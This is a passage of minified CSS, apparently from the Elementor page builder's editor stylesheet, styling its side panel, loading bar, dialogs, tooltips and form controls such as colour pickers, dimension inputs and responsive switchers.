.ps__rail-y:hover{opacity:.9}.ps__thumb-y{background-color:#aaa;border-radius:6px;transition:background-color .2s linear,width .2s ease-in-out;width:6px;right:2px;position:absolute}.ps__rail-y.ps--clicking .ps__thumb-y,.ps__rail-y:focus>.ps__thumb-y,.ps__rail-y:hover>.ps__thumb-y{background-color:#999;width:6px}#nprogress{pointer-events:none}#nprogress .bar{background:#d004d4;position:fixed;z-index:1031;top:0;left:0;width:100%;height:2px}#nprogress .peg{display:block;position:absolute;right:0;width:100px;height:100%;box-shadow:0 0 10px #d004d4,0 0 5px #d004d4;opacity:1;transform:rotate(3deg) translateY(-4px)}#nprogress .spinner{display:none;position:fixed;z-index:1031;top:15px;right:15px}#nprogress .spinner-icon{width:18px;height:18px;box-sizing:border-box;border:2px solid transparent;border-block-start-color:#d004d4;border-inline-start-color:#d004d4;border-radius:50%;animation:nprogress-spinner .4s linear infinite}.nprogress-custom-parent{overflow:hidden;position:relative}.nprogress-custom-parent #nprogress .bar,.nprogress-custom-parent #nprogress .spinner{position:absolute}@keyframes nprogress-spinner{0%{transform:rotate(0deg)}to{transform:rotate(1turn)}}#nprogress .bar,#nprogress .spinner{z-index:100000}:root{--e-is-preview-mode:0}@media (max-width:1439px){:root{--e-editor-panel-width:280px}}@media (min-width:1440px){:root{--e-editor-panel-width:300px}}.elementor-panel{position:relative;height:100%;margin-inline-start:calc(-1 * var(--e-editor-panel-width) * var(--e-is-preview-mode));width:var(--e-editor-panel-width);overflow:visible;background-color:var(--e-a-bg-default);z-index:1;font-family:var(--e-a-font-family);font-size:13px;left:0}.elementor-panel h1,.elementor-panel h2,.elementor-panel h3,.elementor-panel h4,.elementor-panel h5,.elementor-panel h6{font-size:100%;font-weight:400}.elementor-panel abbr,.elementor-panel acronym{border:0;font-variant:normal}.elementor-panel sup{vertical-align:text-top}.elementor-panel sub{vertical-align:text-bottom}.elementor-panel img{max-width:100%;height:auto;border:0}.elementor-panel :focus{outline:0}.elementor-panel .elementor-panel-box-content{padding:20px 20px 10px}.elementor-panel .elementor-button{display:inline-block}.elementor-panel .elementor-panel-alert{background-color:var(--e-a-bg-primary);padding:15px;border-inline-start:3px solid var(--e-a-color-primary);position:relative;font-size:12px;font-weight:300;font-style:italic;line-height:1.5;text-align:start;border-start-start-radius:0;border-start-end-radius:3px;border-end-start-radius:0;border-end-end-radius:3px}.elementor-panel .elementor-panel-alert a{color:inherit}.elementor-panel .elementor-panel-alert.elementor-panel-alert-info{border-color:var(--e-a-color-info);background:var(--e-a-bg-info)}.elementor-panel .elementor-panel-alert.elementor-panel-alert-success{border-color:var(--e-a-color-success);background:var(--e-a-bg-success)}.elementor-panel .elementor-panel-alert.elementor-panel-alert-warning{border-inline-start:3px solid var(--e-a-color-warning);background:var(--e-a-bg-warning)}.elementor-panel .elementor-panel-alert.elementor-panel-alert-danger{border-color:var(--e-a-color-danger);background:var(--e-a-bg-danger)}.elementor-panel .elementor-control-field-description,.elementor-panel .elementor-descriptor{font-size:11px;font-style:italic;line-height:1.4;color:var(--e-a-color-txt-muted)}.elementor-panel .elementor-controls-popover{display:none;position:absolute;box-shadow:var(--e-a-popover-shadow);border-radius:var(--e-a-border-radius);left:0;right:0;margin:-4px auto 5px;padding-block-start:15px;width:90%;z-index:10000;background-color:var(--e-a-bg-default)}.elementor-panel .elementor-controls-popover:before{content:"";position:absolute;top:-16px;right:22px;border:8px solid transparent;border-block-end-color:var(--e-a-bg-default)}.elementor-panel .elementor-controls-popover div.elementor-control{background-color:transparent}.elementor-panel .elementor-controls-popover div.elementor-control:before{content:none}.elementor-panel #elementor-panel-global .elementor-nerd-box .elementor-nerd-box-icon{margin-block-start:20px}.elementor-editor-preview .elementor-panel{--e-is-preview-mode:1}.elementor-editor-preview .elementor-panel>.ui-resizable-e,.elementor-editor-preview .elementor-panel>.ui-resizable-w{display:none}.elementor-editor-preview .elementor-panel #elementor-panel-elements-wrapper{display:flex;flex-direction:column}.elementor-panel .ps__rail-y{z-index:2}.elementor-panel .elementor-responsive-panel{padding:0 15px;display:grid;gap:10px;grid-template-columns:repeat(auto-fill,minmax(min(135px,50% - 5px),1fr))}.elementor-panel .elementor-responsive-panel>.e-responsive-panel-stretch{grid-column:1/-1}.elementor-panel #elementor-panel-header{display:flex;align-items:center;justify-content:space-between;height:40px;width:100%;background-color:var(--e-a-dark-bg);color:var(--e-a-color-white)}.elementor-panel #elementor-panel-header>*{display:flex;align-items:center;justify-content:center}.elementor-panel .elementor-header-button{width:40px;border:0;color:currentColor;background-color:transparent}.elementor-panel .elementor-header-button .elementor-icon{cursor:pointer;display:block;font-size:19px;height:40px;line-height:40px;transition:var(--e-a-transition-hover)}.elementor-panel .elementor-header-button .elementor-icon.eicon-menu-bar{font-size:18px}.elementor-panel .elementor-header-button:focus,.elementor-panel .elementor-header-button:hover{color:var(--e-a-dark-color-txt-hover)}.elementor-panel #elementor-panel-header-title{flex:1;font-size:15px;font-weight:700}.elementor-panel #elementor-panel-header-title img{width:90px}.elementor-panel #elementor-panel-elements-categories{padding-block-end:10px;position:relative}.elementor-panel .elementor-panel-category{position:relative;border-block-end:var(--e-a-border)}.elementor-panel .elementor-panel-category .elementor-panel-heading{padding:0 15px;border:none;background-color:transparent}.elementor-panel .elementor-panel-category.elementor-active .elementor-panel-heading{border:none}.elementor-panel .elementor-panel-category-items{padding-block-end:20px}.elementor-panel .elementor-panel-category-items-empty{grid-column-start:1;grid-column-end:3}.elementor-panel #elementor-panel-page-menu{padding:25px 15px}.elementor-panel .elementor-panel-menu-group-title{text-transform:uppercase;font-size:11px}.elementor-panel .elementor-panel-menu-items{border:var(--e-a-border);margin:15px 0 25px;border-radius:5px;overflow:hidden}.elementor-panel .elementor-panel-menu-item{display:flex;align-items:center;width:100%;height:40px;transition:var(--e-a-transition-hover);border:0;background-color:transparent;cursor:pointer}.elementor-panel .elementor-panel-menu-item:not(:last-child){border-block-end:var(--e-a-border)}.elementor-panel .elementor-panel-menu-item:focus,.elementor-panel .elementor-panel-menu-item:hover{background-color:var(--e-a-bg-hover)}.elementor-panel .elementor-panel-menu-item:active{background-color:var(--e-a-bg-active);color:var(--e-a-color-txt-accent)}.elementor-panel .elementor-panel-menu-item-icon{text-align:center;width:30px;flex-shrink:0;padding:10px 0;margin:0 10px;font-size:19px}.elementor-panel .elementor-panel-menu-item-title{display:flex;flex-grow:1;font-weight:500;justify-content:space-between}.elementor-panel .elementor-panel-menu-item-title-badge{margin:0 10px;background:var(--e-a-color-white);border-radius:var(--e-a-border-radius)}.elementor-panel .elementor-panel-menu-item-title>span{color:var(--e-a-color-accent)}.elementor-panel .elementor-panel-menu-item a{display:flex;align-items:center;color:inherit;width:100%;height:100%;padding-inline-start:10px;padding:10px 0}.elementor-panel .elementor-control.elementor-control-clear_page{background-color:transparent}.elementor-panel .elementor-control.elementor-control-clear_page .elementor-control-raw-html{display:flex;align-items:center;justify-content:space-between}.elementor-panel .elementor-panel-navigation{display:flex;width:100%;border-block-end:var(--e-a-border)}.elementor-panel .elementor-panel-navigation .elementor-panel-navigation-tab{all:unset;flex:auto;transition:var(--e-a-transition-hover);border-block-end:3px solid transparent;cursor:pointer}.elementor-panel .elementor-panel-navigation .elementor-panel-navigation-tab:focus,.elementor-panel .elementor-panel-navigation .elementor-panel-navigation-tab:hover{background-color:var(--e-a-bg-hover)}.elementor-panel .elementor-panel-navigation .elementor-panel-navigation-tab:focus{outline:0}.elementor-panel .elementor-panel-navigation .elementor-panel-navigation-tab.elementor-active{border-color:var(--e-a-border-color-accent);color:var(--e-a-color-txt-accent)}.elementor-panel .elementor-panel-navigation .elementor-panel-navigation-tab.elementor-active span{color:var(--e-a-color-txt-accent)}.elementor-panel .elementor-panel-navigation .elementor-panel-navigation-tab span{color:inherit;display:block;text-align:center;padding:12px 0 8px;font-size:10px}.elementor-panel .elementor-panel-navigation .elementor-panel-navigation-tab span:before{font-family:eicons;font-size:16px;display:block;margin-block-end:8px}.elementor-panel .elementor-tab-control-content span:before{content:"\e92c"}.elementor-panel .elementor-tab-control-style span:before{content:"\e921"}.elementor-panel .elementor-tab-control-settings span:before{content:"\e940"}.elementor-panel .elementor-tab-control-advanced-tab-floating-bars span:before,.elementor-panel .elementor-tab-control-advanced-tab-floating-buttons span:before,.elementor-panel .elementor-tab-control-advanced-tab-links-in-bio span:before,.elementor-panel .elementor-tab-control-advanced span:before,.elementor-panel .elementor-tab-control-general_style span:before{content:"\e916"}.elementor-panel .elementor-tab-control-responsive span:before{content:"\e885"}.elementor-panel .elementor-tab-control-lightbox span:before{content:"\e922"}.elementor-panel .elementor-tab-control-column span:before,.elementor-panel .elementor-tab-control-layout span:before{content:"\e899"}.elementor-panel #elementor-panel__editor__help{padding:50px 25px;display:flex;align-items:center;justify-content:center}.elementor-panel #elementor-panel__editor__help__link{display:inline-flex;align-items:center;justify-content:center;font-size:85%;line-height:2;padding-inline-start:5px;color:inherit;font-weight:500;transition:var(--e-a-transition-hover)}.elementor-panel #elementor-panel__editor__help__link:focus,.elementor-panel #elementor-panel__editor__help__link:hover{color:var(--e-a-color-info)}.elementor-panel #elementor-panel__editor__help__link i{padding:0 5px;font-size:125%;position:relative}.elementor-panel #elementor-panel__editor__help__link i:after{content:"";position:absolute;height:13px;width:13px;top:3px;bottom:0;left:8px;right:0;border-radius:50%;z-index:-1}.elementor-panel #elementor-panel-footer{position:relative;height:40px;background-color:var(--e-a-dark-bg);color:var(--e-a-dark-color-txt)}.elementor-panel #elementor-panel-footer-tools{display:flex;justify-content:space-between;height:100%}.elementor-panel .elementor-panel-footer-tool{display:flex;align-items:center;justify-content:center;width:15%;cursor:pointer;transition:var(--e-a-transition-hover);border:0;color:currentColor;background-color:transparent}.elementor-panel .elementor-panel-footer-tool i{font-size:15px}.elementor-panel .elementor-panel-footer-tool #elementor-panel-saver-button-save-options i.eicon-chevron-right{margin:auto;transform:rotate(270deg)}.elementor-panel .elementor-panel-footer-tool #elementor-panel-saver-button-save-options.elementor-disabled{cursor:inherit}.elementor-panel .elementor-panel-footer-tool:not(.e-open):focus,.elementor-panel .elementor-panel-footer-tool:not(.e-open):hover{color:var(--e-a-dark-color-txt-hover)}.elementor-panel .elementor-panel-footer-tool:not(.e-open) .elementor-panel-footer-sub-menu-wrapper{display:none}.elementor-panel #elementor-panel-footer-saver-publish{width:30%;margin-inline-start:auto}.elementor-panel #elementor-panel-footer-saver-publish .elementor-button-state i{margin-inline-end:0}.elementor-panel #elementor-panel-footer-saver-publish .elementor-button-state #elementor-panel-saver-button-publish-label{display:none}.elementor-panel #elementor-panel-footer-saver-options{width:10%}.elementor-panel #elementor-panel-footer-saver-options .elementor-last-edited-wrapper{font-size:11px;font-style:italic;padding:5px 0 15px}.elementor-panel #elementor-panel-footer-saver-options .elementor-last-edited-wrapper:not(.elementor-state-active) .elementor-state-icon{display:none}.elementor-panel #elementor-panel-footer-saver-options .elementor-last-edited-wrapper time{border-block-end:1px dotted transparent;transition:all .3s ease-in-out;cursor:pointer}.elementor-panel #elementor-panel-footer-saver-options .elementor-last-edited-wrapper time:hover{border-block-end-color:inherit}.elementor-panel #elementor-panel-footer-saver-options.e-open i.eicon-chevron-right{transform:rotate(90deg)}.elementor-panel #elementor-panel-saver-button-publish,.elementor-panel #elementor-panel-saver-button-save-options{padding:0;font-size:11px;height:100%;width:100%;border-radius:0}.elementor-panel #elementor-panel-saver-button-publish.elementor-disabled,.elementor-panel #elementor-panel-saver-button-save-options.elementor-disabled{background-color:#1f2124;color:#9da5ae}.elementor-panel #elementor-panel-saver-button-publish:not(.elementor-disabled){border-inline-end:1px solid #f0abfc}.elementor-panel #elementor-panel-saver-button-publish.elementor-disabled{border-inline-end:1px solid #3f444b}.elementor-panel .elementor-panel-footer-sub-menu-wrapper{position:absolute;bottom:100%;left:0;width:100%;background-color:#1f2124;padding:10px;box-shadow:-2px -5px 8px rgba(0,0,0,.1);cursor:default;z-index:10000}.elementor-panel .elementor-panel-footer-sub-menu{border-radius:var(--e-border-radius);overflow:hidden;border:1px solid #3f444b}.elementor-panel .elementor-panel-footer-sub-menu-item{display:flex;height:40px;color:#d5d8dc;align-items:center;-moz-column-gap:10px;column-gap:10px;padding:0 20px;transition:var(--e-a-transition-hover);cursor:pointer}.elementor-panel .elementor-panel-footer-sub-menu-item.elementor-disabled{cursor:default;color:#69727d}.elementor-panel .elementor-panel-footer-sub-menu-item:not(:last-child){border-block-end:1px solid #3f444b}.elementor-panel .elementor-panel-footer-sub-menu-item:hover{background-color:hsla(0,0%,100%,.1)}.elementor-panel .elementor-panel-footer-sub-menu-item.active{background-color:hsla(0,0%,100%,.2)}#elementor-panel-elements-navigation .elementor-panel-navigation-tab{text-align:center;padding:10px 0;font-size:12px;cursor:pointer}#elementor-panel-elements{overflow:hidden}#elementor-panel-state-loading{display:none}body.elementor-panel-loading #elementor-panel-state-loading{position:absolute;top:0;left:0;height:100%;width:100%;display:flex;align-items:center;justify-content:center;background-color:hsla(0,0%,100%,.5);z-index:2}#elementor-panel-state-loading .eicon-loading{font-size:25px;color:var(--e-a-color-txt-accent)}#elementor-panel-elements-search-area{background-color:var(--e-a-bg-default);position:sticky;top:0;padding:15px;z-index:1}#elementor-panel-elements-search-wrapper{position:relative}#elementor-panel-elements-search-input{font-size:11px;padding-block:10px;padding-inline:29px 10px;font-style:italic;border:var(--e-a-border-bold);border-radius:0;transition:all 1s;-webkit-appearance:none;-moz-appearance:none;appearance:none}#elementor-panel-elements-search-input+i{position:absolute;left:10px;top:50%;color:var(--e-a-color-txt-disabled);transform:translateY(-50%)}#elementor-panel-elements-search-input:focus{border-color:var(--e-a-border-color-focus);padding-inline-end:15px}.elementor-panel .elementor-element{font-family:var(--e-a-font-family);color:var(--e-a-color-txt);line-height:1;text-align:center;border:var(--e-a-border-bold);border-radius:3px;cursor:move;position:relative;transition:var(--e-a-transition-hover);width:100%;background-color:transparent}.elementor-panel .elementor-element--promotion .elementor-element{cursor:pointer;-webkit-user-select:none;-moz-user-select:none;user-select:none}.elementor-panel .elementor-element:focus,.elementor-panel .elementor-element:hover{background-color:var(--e-a-bg-hover);border-color:var(--e-a-border-color-bold)}.elementor-panel .elementor-element:focus>.eicon-lock,.elementor-panel .elementor-element:hover>.eicon-lock{color:var(--e-a-color-accent)}.elementor-panel .elementor-element .icon{font-size:28px;padding-block-start:15px}.elementor-panel .elementor-element .title-wrapper{display:flex;height:40px;align-items:center;justify-content:center}.elementor-panel .elementor-element .title{font-size:12px}.elementor-panel .elementor-element>.eicon-lock{position:absolute;top:5px;right:5px;color:var(--e-a-color-txt-disabled)}.elementor-panel .elementor-element:active{background-color:var(--e-a-bg-hover);border-color:var(--e-a-border-color-accent);color:var(--e-a-color-txt-accent)}#elementor-element--promotion__dialog{position:absolute;width:300px;z-index:1;background-color:var(--e-a-bg-default);box-shadow:var(--e-a-popover-shadow);border-radius:var(--e-a-border-radius)}#elementor-element--promotion__dialog:after{content:"";position:absolute;top:15px;right:100%;transform:scaleY(.7);border:10px solid transparent;border-inline-end-color:var(--e-a-bg-default)}#elementor-element--promotion__dialog__title{font-size:14px}#elementor-element--promotion__dialog .dialog-header{display:flex;padding:20px;border-block-end:var(--e-a-border);font-weight:500}#elementor-element--promotion__dialog .dialog-header .eicon-pro-icon{flex-grow:1;margin-inline-start:10px;font-size:14px;color:var(--e-a-color-accent)}#elementor-element--promotion__dialog .dialog-header .eicon-close{cursor:pointer;color:var(--e-a-color-txt-disabled)}#elementor-element--promotion__dialog .dialog-header .eicon-close:hover{color:var(--e-a-color-txt-muted)}#elementor-element--promotion__dialog .dialog-message{padding:20px}#elementor-element--promotion__dialog .dialog-buttons-wrapper{padding:0 20px 20px}#elementor-element--promotion__dialog .dialog-button{padding:7px 25px;font-size:12px}.dialog-tooltip-widget{position:absolute;width:300px;z-index:1;background-color:var(--e-a-bg-default);box-shadow:0 2px 15px rgba(0,0,0,.3);border-radius:3px}.dialog-tooltip-widget:after{content:"";position:absolute;top:15px;right:100%;transform:scaleY(.7);border:10px solid transparent;border-inline-end-color:var(--e-a-bg-default)}.dialog-tooltip-widget__title{font-size:14px}.dialog-tooltip-widget .dialog-tooltip-header{display:flex;padding:20px 20px 0;color:var(--e-a-color-txt);border-block-end:1px solid var(--e-a-bg-default);font-weight:500}.dialog-tooltip-widget .dialog-tooltip-header .eicon-pro-icon{flex-grow:1;margin-inline-start:10px;font-size:14px;color:#93003f}.dialog-tooltip-widget .dialog-tooltip-header .eicon-close{cursor:pointer;margin-inline-start:auto;color:var(--e-a-color-txt)}.dialog-tooltip-widget .dialog-tooltip-message{padding:20px}.dialog-tooltip-widget .dialog-tooltip-buttons-wrapper{padding:0 20px 20px;text-align:end}.dialog-tooltip-widget .dialog-tooltip-button{padding:7px 25px;font-size:12px}.dialog-tooltip-widget .dialog-tooltip-button::-moz-focus-inner{border:0}#elementor-panel-inner{position:relative;height:100%;display:flex;flex-direction:column;box-shadow:0 0 5px 0 rgba(0,0,0,.1)}#elementor-panel-content-wrapper{position:relative;width:100%;flex:1}.elementor-panel-container{clear:both;padding-inline-start:15px;padding-inline-end:15px}#elementor-panel-get-pro-elements .elementor-nerd-box-message{margin-block-start:10px}#elementor-panel-get-pro-elements .elementor-nerd-box-icon{margin-block-start:20px}#elementor-panel-get-pro-elements-sticky{position:sticky;bottom:0;font-size:14px;font-weight:400;line-height:1.6;margin-block-end:-10px}#elementor-panel-get-pro-elements-sticky .elementor-get-pro-sticky-message{margin-top:-14px;min-height:40px;display:block;padding:9px min(35px,5%);gap:10px;background-color:var(--e-a-color-white);color:var(--e-a-color-black);text-align:center;box-shadow:0 -10px 14px -6px rgba(0,0,0,.05)}#elementor-panel-get-pro-elements-sticky .elementor-get-pro-sticky-message a{display:inline-block;font-size:13px;font-weight:500;color:var(--e-a-btn-bg-accent)}#elementor-panel-get-pro-elements-sticky img{margin-left:17px}#elementor-panel-notice-wrapper .elementor-panel-notice{width:90%;margin:0 auto;font-style:unset;margin-block-end:15px}#elementor-panel-notice-wrapper .elementor-panel-notice a{font-weight:700;font-style:italic;border-block-end:2px dotted var(--e-a-color-info);display:inline-block}body.e-has-notification .elementor-panel-menu-item.elementor-panel-menu-item-notification-center .elementor-panel-menu-item-icon,body.e-has-notification:not(.e-route-panel-menu) #elementor-panel-header-menu-button{position:relative}body.e-has-notification .elementor-panel-menu-item.elementor-panel-menu-item-notification-center .elementor-panel-menu-item-icon:after,body.e-has-notification:not(.e-route-panel-menu) #elementor-panel-header-menu-button:after{position:absolute;content:"";display:block;background:var(--e-a-color-primary);border-radius:50%;width:8px;height:8px;top:5px;right:5px}.media-modal.wp-core-ui{color-scheme:light;color:#515962}.media-modal.wp-core-ui select{width:auto;padding-inline:8px}.media-modal.wp-core-ui fieldset{padding:0;border:0}.elementor-control{--control-title-size:12px;position:relative;padding:0 20px 15px}.elementor-control a{font-weight:500;text-decoration:none;border-block-end:1px dotted transparent;transition:all .3s ease-in-out}.elementor-control a:hover{border-block-end-color:inherit}.elementor-control .elementor-control-content{display:flex;flex-direction:column}.elementor-control .elementor-control-title{font-size:var(--control-title-size);line-height:1;margin-inline-end:5px}.elementor-control .elementor-control-title:empty{display:none}.elementor-control .elementor-control-spinner{display:flex;align-items:center}.elementor-control.elementor-control-type-divider{padding:0}.elementor-control.elementor-control-type-divider .elementor-control-content{border-width:0;border-block-start:var(--e-a-border);background-color:var(--e-a-bg-default);height:15px}.elementor-control.elementor-control-separator-before{padding-block-start:15px}.elementor-control.elementor-control-separator-before:before{content:"";position:absolute;height:1px;width:calc(100% - 40px);top:0;left:20px;background-color:var(--e-a-border-color)}.elementor-control.elementor-control-separator-after:after{content:"";position:absolute;height:1px;width:calc(100% - 40px);bottom:0;left:20px;background-color:var(--e-a-border-color)}.elementor-control.elementor-control-separator-after+.elementor-control-type-tabs+.elementor-control-separator-default,.elementor-control.elementor-control-separator-after:not(.elementor-hidden-control)+.elementor-control-separator-default{padding-block-start:15px}.elementor-control.elementor-control-deprecated,.elementor-control.elementor-control-deprecated .elementor-control-field-description{color:var(--e-a-color-warning)}.elementor-control.elementor-control-hidden-label>*>*>.elementor-control-title,.elementor-control.elementor-control-hidden-label>*>.elementor-control-title,.elementor-control.elementor-hidden-control{display:none}.elementor-control.elementor-control-type-heading .elementor-control-title{font-weight:700;margin:0}body:not(.elementor-device-desktop) .elementor-control.elementor-control-responsive-desktop,body:not(.elementor-device-laptop) .elementor-control.elementor-control-responsive-laptop,body:not(.elementor-device-mobile) .elementor-control.elementor-control-responsive-mobile,body:not(.elementor-device-mobile_extra) .elementor-control.elementor-control-responsive-mobile_extra,body:not(.elementor-device-tablet) .elementor-control.elementor-control-responsive-tablet,body:not(.elementor-device-tablet_extra) .elementor-control.elementor-control-responsive-tablet_extra,body:not(.elementor-device-widescreen) .elementor-control.elementor-control-responsive-widescreen{display:none}.elementor-control-custom_attributes_pro .elementor-nerd-box-message,.elementor-control-custom_css_pro .elementor-nerd-box-message{margin-block-start:5px}.elementor-control.e-open .elementor-panel-heading-toggle .eicon:before,.elementor-control.elementor-active .elementor-panel-heading-toggle .eicon:before,.elementor-panel-category.e-open .elementor-panel-heading-toggle .eicon:before,.elementor-panel-category.elementor-active .elementor-panel-heading-toggle .eicon:before,.elementor-panel-scheme-item.e-open .elementor-panel-heading-toggle .eicon:before,.elementor-panel-scheme-item.elementor-active .elementor-panel-heading-toggle .eicon:before{content:"\e92a"}.elementor-control:not(.e-open):not(.elementor-active) .elementor-panel-heading-toggle .eicon:before,.elementor-panel-category:not(.e-open):not(.elementor-active) .elementor-panel-heading-toggle .eicon:before,.elementor-panel-scheme-item:not(.e-open):not(.elementor-active) .elementor-panel-heading-toggle .eicon:before{content:"\e90a"}.elementor-panel-heading{display:flex;align-items:center;gap:5px;height:48px;padding-inline:20px;width:100%;border:0;border-block-start:var(--e-a-border);border-block-start-width:2px;background-color:transparent;color:var(--e-a-color-txt-accent);cursor:pointer}.elementor-panel-heading-toggle{width:10px;display:flex;flex-direction:column;align-items:center}.elementor-panel-heading-title{font-weight:700}.elementor-panel-heading-promotion{margin-inline-start:auto}.elementor-panel-heading-promotion a{color:var(--e-a-color-accent-promotion);font-family:Roboto,sans-serif;font-weight:500;font-size:13px}.elementor-panel-heading-promotion a i{margin-inline-end:4px;font-size:14px}.elementor-panel-heading-promotion a:hover{color:var(--e-a-color-accent-promotion)}.elementor-panel-heading:focus-visible{color:var(--e-a-color-txt-hover)}#elementor-controls .elementor-control-type-section:first-child .elementor-panel-heading{border-block-start:none}.elementor-control-field{display:flex;align-items:center}.elementor-label-block>.elementor-control-content>.elementor-control-field{flex-wrap:wrap}.elementor-label-block>.elementor-control-content>.elementor-control-field>.elementor-control-input-wrapper{width:100%;max-width:100%;margin-block-start:10px}.elementor-label-block>.elementor-control-content>.elementor-control-field>.elementor-control-input-wrapper>.elementor-choices label{width:auto;flex:1 1 27px;display:flex;align-items:center;justify-content:center}.elementor-label-block.elementor-control-hidden-label.elementor-label-block>.elementor-control-content>.elementor-control-field>.elementor-control-input-wrapper,.elementor-label-block.elementor-control-hidden-label:not(.elementor-control-dynamic)>.elementor-control-content>.elementor-control-field>.elementor-control-input-wrapper{margin-block-start:0}.elementor-label-inline>.elementor-control-content>.elementor-control-field>.elementor-control-title{flex-shrink:0;max-width:60%}.elementor-label-inline>.elementor-control-content>.elementor-control-field>.elementor-control-input-wrapper{margin-inline-start:auto}.elementor-control-field-description{margin-block-start:10px}.elementor-group-control-attachment_alert .elementor-control-field-description{margin-block-start:0}.elementor-update-preview{margin:15px 15px 0;display:flex;align-items:center}.elementor-update-preview-button-wrapper{flex-grow:1;text-align:end}.elementor-update-preview-button{padding:8px 15px}.elementor-control-direction-ltr input,.elementor-control-direction-ltr textarea{direction:ltr}.elementor-control-direction-rtl input,.elementor-control-direction-rtl textarea{direction:rtl}.elementor-control-alert{display:flex;flex-direction:column;justify-content:flex-start;align-items:flex-start;gap:8px}.elementor-control-alert-heading{font-weight:700}.elementor-control-type-button .elementor-control-input-wrapper{text-align:end}.elementor-control-type-button .elementor-button{width:auto}.elementor-control-type-button .elementor-button.elementor-button-center{display:block;margin:0 auto}.elementor-control-type-choose.elementor-label-block .elementor-choices{width:100%}.elementor-choices{display:flex;height:27px;line-height:27px;text-align:center;border-spacing:1px;border-radius:var(--e-a-border-radius);overflow:hidden}.elementor-choices .elementor-choices-label{border-block-start:var(--e-a-border-bold);border-block-end:var(--e-a-border-bold);border-inline-start:var(--e-a-border-bold);border-inline-end:none;font-size:12px;transition:var(--e-a-transition-hover);cursor:pointer;overflow:hidden}.elementor-choices .elementor-choices-label:nth-child(2){border-start-start-radius:var(--e-a-border-radius);border-end-start-radius:var(--e-a-border-radius)}.elementor-choices .elementor-choices-label:last-child{border-inline-end:var(--e-a-border-bold);border-start-end-radius:var(--e-a-border-radius);border-end-end-radius:var(--e-a-border-radius)}.elementor-choices input{display:none}.elementor-choices input:hover+.elementor-choices-label{background-color:var(--e-a-bg-hover)}.elementor-choices input.e-choose-placeholder+.elementor-choices-label,.elementor-choices input:checked+.elementor-choices-label{background-color:var(--e-a-bg-active-bold);color:var(--e-a-color-txt-accent)}.elementor-label-inline .elementor-choices{justify-content:flex-end}.elementor-control-type-color.e-control-global .pickr{border-start-start-radius:0;border-start-end-radius:var(--e-a-border-radius);border-end-start-radius:0;border-end-end-radius:var(--e-a-border-radius);flex-shrink:0;border-color:var(--e-a-border-color-bold);transition:var(--e-a-transition-hover)}.elementor-control-type-color.e-control-global .pickr:hover{background-color:var(--e-a-bg-hover)}.elementor-control-type-color.e-control-global .e-global__popover-toggle:not(.e-global__popover-toggle--active)~.pickr{background-color:var(--e-a-bg-active-bold)}.elementor-control-type-color .elementor-control-title{flex-grow:1}.elementor-control-type-color .elementor-control-input-wrapper{display:flex;justify-content:flex-end}.elementor-group-control-css-filter .elementor-slider{height:6px;box-shadow:inset 0 0 1px 1px rgba(0,0,0,.2)}.elementor-group-control-css-filter .elementor-control-content>.elementor-control-field>.elementor-control-input-wrapper{margin-block-start:0;margin-block-end:5px}.elementor-group-control-blur .elementor-slider{background:url(../images/blur.png);background-size:cover;background-position:50%}.elementor-group-control-contrast .elementor-slider{background:url(../images/contrast.png);background-size:100% 100%}.elementor-group-control-hue .elementor-slider{background-image:linear-gradient(90deg,red,orange,#ff0,#adff2f,#32cd32,#00bfff,#00f,#9400d3 95%)}.elementor-group-control-saturate .elementor-slider{background-image:linear-gradient(90deg,grey,red)}.elementor-group-control-brightness .elementor-slider{background-image:linear-gradient(90deg,#000,#fff)}.elementor-control-type-dimensions .elementor-control-dimensions{display:flex}.elementor-control-type-dimensions li{flex:1;transition:flex-grow .3s ease-in-out}.elementor-control-type-dimensions li .elementor-link-dimensions,.elementor-control-type-dimensions li input{display:block;text-align:center;width:100%;height:27px}.elementor-control-type-dimensions li input{border-inline-start:none;border-radius:0;padding:var(--e-a-border-radius)}.elementor-control-type-dimensions li input:focus{border-inline-start:var(--e-a-border-bold);margin-inline-start:-1px;width:calc(100% + 1px)}.elementor-control-type-dimensions li input:focus+.elementor-control-dimension-label{color:var(--e-a-color-txt)}.elementor-control-type-dimensions li .elementor-link-dimensions{border:var(--e-a-border-bold);border-inline-start:none;background-color:var(--e-a-bg-default);padding:0;outline:none;border-start-start-radius:0;border-start-end-radius:var(--e-a-border-radius);border-end-start-radius:0;border-end-end-radius:var(--e-a-border-radius);cursor:pointer}.elementor-control-type-dimensions li:first-child input{border-inline-start:1px solid var(--e-a-border-color-bold);border-start-start-radius:var(--e-a-border-radius);border-start-end-radius:0;border-end-start-radius:var(--e-a-border-radius);border-end-end-radius:0}.elementor-control-type-dimensions li:first-child input:focus{border-color:var(--e-a-border-color-focus);margin-inline-start:0;width:100%}.elementor-control-type-dimensions li:last-child{max-width:27px}.elementor-control-type-dimensions.e-units-custom li.elementor-control-dimension:focus-within{flex:2.5}.elementor-control-type-dimensions .elementor-control-dimension-label{color:var(--e-a-color-txt-muted);display:block;text-align:center;font-size:9px;padding-block-start:5px}.elementor-control-type-dimensions .elementor-link-dimensions.unlinked{background-color:var(--e-a-bg-default)}.elementor-control-type-dimensions .elementor-link-dimensions.unlinked .elementor-linked{display:none}.elementor-control-type-dimensions .elementor-link-dimensions:not(.unlinked){background-color:var(--e-a-bg-active-bold);color:var(--e-a-color-txt-accent);border-color:var(--e-a-border-color-bold)}.elementor-control-type-dimensions .elementor-link-dimensions:not(.unlinked) .elementor-unlinked{display:none}.elementor-control-responsive-switchers{--selected-option:0;--pointer-position:var(--selected-option);position:relative;width:2.5em;height:2.5em;margin:calc(-2.5em + 12px) 0;margin-inline-end:5px}.elementor-control-responsive-switchers__holder{position:absolute;width:100%;top:0;background-color:var(--e-a-bg-default);border-radius:var(--e-a-border-radius);transition:.15s;border:1px solid transparent}.elementor-control-responsive-switchers.elementor-responsive-switchers-open{z-index:11000}.elementor-control-responsive-switchers.elementor-responsive-switchers-open .elementor-responsive-switcher{height:2.5em;transform:scale(1);opacity:1}.elementor-control-responsive-switchers.elementor-responsive-switchers-open .elementor-responsive-switcher:hover{color:var(--e-a-color-primary-bold)}.elementor-control-responsive-switchers.elementor-responsive-switchers-open .elementor-control-responsive-switchers__holder{box-shadow:var(--e-a-dropdown-shadow)}.elementor-responsive-switcher{all:unset;display:flex;align-items:center;justify-content:center;position:relative;z-index:2;cursor:pointer;height:0;width:100%;transform:scale(0);opacity:0;transition:.15s;font-size:12px;color:inherit}.elementor-responsive-switcher:hover{color:var(--e-a-color-primary-bold)}.elementor-device-widescreen .elementor-responsive-switcher.elementor-responsive-switcher-widescreen{height:2.5em;transform:scale(1);opacity:1}.elementor-device-widescreen .elementor-responsive-switchers-open:not(:hover) 